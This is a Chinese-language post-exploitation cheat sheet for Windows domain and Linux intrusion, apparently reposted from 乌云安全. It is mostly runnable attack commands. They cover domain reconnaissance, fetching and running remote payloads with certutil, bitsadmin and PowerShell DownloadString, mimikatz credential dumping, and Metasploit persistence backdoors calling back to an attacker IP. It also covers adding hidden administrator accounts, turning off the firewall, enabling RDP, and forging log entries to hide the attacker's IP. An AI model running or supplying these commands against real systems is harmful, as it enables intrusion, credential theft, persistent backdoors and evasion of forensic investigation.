0x01 信息搜集
#nmap扫描实时存活的ip
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
1.1 常用命令
arp -a
route print 获取arp表
curl vps:8080 http连通性
nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com 测试dns连通性
nslookup hacked.com 判断域控与DNS是否为同一主机
tracert 路由跟踪实用程序,用于确定IP数据包访问目标所采取的路径
bitsadmin /transfer n http://192.168.3.1/test.exe C:\windows\temp\test.exe
certutil.exe -urlcache -split -f http://192.168.3.1/test.exe file.exe
fuser -nv tcp 80 查看端口进程的pid
netstat -p TCP -ano DNS服务器可能开放了53端口(域控) 更新服务器可能开放了8530端口
set 查看系统的环境变量
query user || qwinsta 查看当前在线用户
rdesktop -u username ip linux连接win远程桌面
where file win查找文件是否存在
Linux下使用命令 find -name *.jsp 来查找文件位置
Windows下使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
ipconfig /all 查看当前是否存在域
net user 查看本机用户
net user /domain 查看域用户
net user xxxx /domain 查询域用户的权限组
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\dc 查看dc域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain 域服务器通常会作为时间服务器
(1)找不到xxx域控制器:处于工作组,不存在域
(2)发生错误,拒绝访问:存在域,不是域用户
(3)查询成功:存在域,是域用户
net config workstation 当前登录域 - 计算机名 - 用户名
systeminfo 查看系统信息
wmic process list brief 查询进程信息
tasklist /svc 显示每个进程中的服务信息
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
nltest /dclist:xx 查看域控
whoami /all 查看Mandatory Label uac级别和sid号
net share
wmic share get name,path,status 查看当前共享
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn记录
#列出或者断开本地计算机与之连接的客户端的会话(需要管理权限)
net session[//computername][/delete]
例子:net session //momaek /delete
#查看计划任务
schtasks /query /fo LIST /v
#查看主机开机时间
net statistics workstation
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称windows 2003
#脚本收集域信息,使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install
#使用被攻击主机CMD扫描存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#Msf持续后门
run persistence -U -i 10 -p 10390 -r 192.168.0.108
#persistence启动项后门:反弹时间间隔是10s 端口是10390 Metasploit服务器ip是192.168.0.108
run metsvc –A
#metsvc服务后门:在C:\Users***\AppData\Local\Temp\上传三个文件:metsrv.x86.dll、metsvc-server.exe、metsvc.exe,通过服务启动,服务名为meterpreter
1.2 密码凭证获取
hashdump
导出目标主机中的口令哈希值
load mimikatz
加载mimikatz模块
msv
ssp
tspkg
wdigest
获取登录密码的hash值
kerberos
获取明文密码
mimikatz_command -f samdump::hashes
另一种方式获取哈希值
mimikatz_command -f sekurlsa::searchPasswords
另一种方式获取明文密码
#Msf启用powershell
meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds
发现远程登录密码等密码 netpass.exe
下载见:https://www.nirsoft.net/utils/network_password_recovery.html
0x02 用户操作
#添加user
net user admin1 admin1 /add & net localgroup administrators admin1 /add
#如果不允许远程连接,修改注册表
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
#放行/开启3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
#自动收集信息
1.VMIC
vmic是Windows管理工具命令行,默认情况下,win xp不允许低权限用户使用wmic,win7以上方才可以
[http://www.fuzzysecurity.com/scripts/files/wmic_info.rar](http://www.fuzzysecurity.com/scripts/files/wmic_info.rar)
2.Empire
#可查询本机用户、域组成员、密码设置时间
usemodule situational_awareness/host/winenum
#添加隐藏账户 开启sys权限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
#添加用户并隐藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
0x03 提权小结
#MSF提权模块
$use post/multi/recon/local_exploit_suggester
常用exp:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
#linux提权辅助脚本
https://github.com/jondonas/linux-exploit-suggester-2
#windows提权辅助脚本
https://github.com/Ethancck/Windows-Exploit-Suggester
0x04 痕迹擦除
Apache日志:主要的日志就是access.log
,error_log
,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。这些都可以在httpd.conf中找到。
明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。在正则表达式中有特殊的含义,所以需要用“”
来进行转义。
MySQL日志文件:
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log #最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log #用于备份恢复,或主从复制
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
#按条件删除部分日志内容
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
#php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log
Linux日志清除
这个比较多,记录的也比较复杂,测试环境是 CentOS 6.3 。只把和渗透有关的文件列出来,主要在 /etc/logrotate.d/syslog 中
/var/log/maillog
#该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages
#该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp
#该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp
#该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog
#该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history
#这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
转自:乌云安全